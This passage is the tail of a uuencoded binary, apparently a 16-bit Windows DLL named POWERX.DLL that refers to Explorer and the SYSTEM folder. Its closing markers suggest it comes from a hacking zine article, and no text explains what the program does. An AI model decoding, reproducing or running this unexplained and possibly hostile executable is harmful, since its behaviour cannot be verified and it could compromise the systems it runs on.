    M/C0!`'8#Z3'_ZSZ*1@JB.@%J`6@Z`?\V.`'H#P*#Q`;K)U(>BQ8P`8X>Y`&X
    M"27-(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\`
    M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$`
    M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_
    M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H`:@!6:@!J`)K__P``HQ0!
    MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H`FO__```+P'7;H08!7EW"
    M"@!5B^Q=PU6+[.L*BQYX`-'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL
    M@SYX`"!U!;@!`.L3BQYX`-'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+
    M5@3-(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP
    MZQ&+QO?8B_"#_B-_Y<<&H@#__XDV$`"X__]>7<("`%6+[(M>!-'C@:=Z`/_]
    MM$**1@J+7@2+3@B+5@;-(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__
    M\JZ-=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+
    M5@3-(7($,\#K!%#H3?]=PU6+[(M>!-'C]X=Z```(=!.X`@!0,\`STE!2_W8$
    MZ&C_@\0(M$"+7@2+3@B+5@;-(7(/4(M>!-'C@8]Z```06.L$4.@&_UW#&0`#
    M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$`
    M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B
    M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0`
    M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C`@$`50`#`74"`0"&``4`3P(!
    M`%P!`P'M`0(`;@`"`&8!`@!4````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````#"X`17AP;&]R97(`7%-94U1%35P`4$]715)8+D1,3```<@1R!'($```!
    M(`(@`B`$H`*@________________________________________````$P("
    M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________
    M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P``````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    !````
    `
    end
    <-->

    ----[  EOF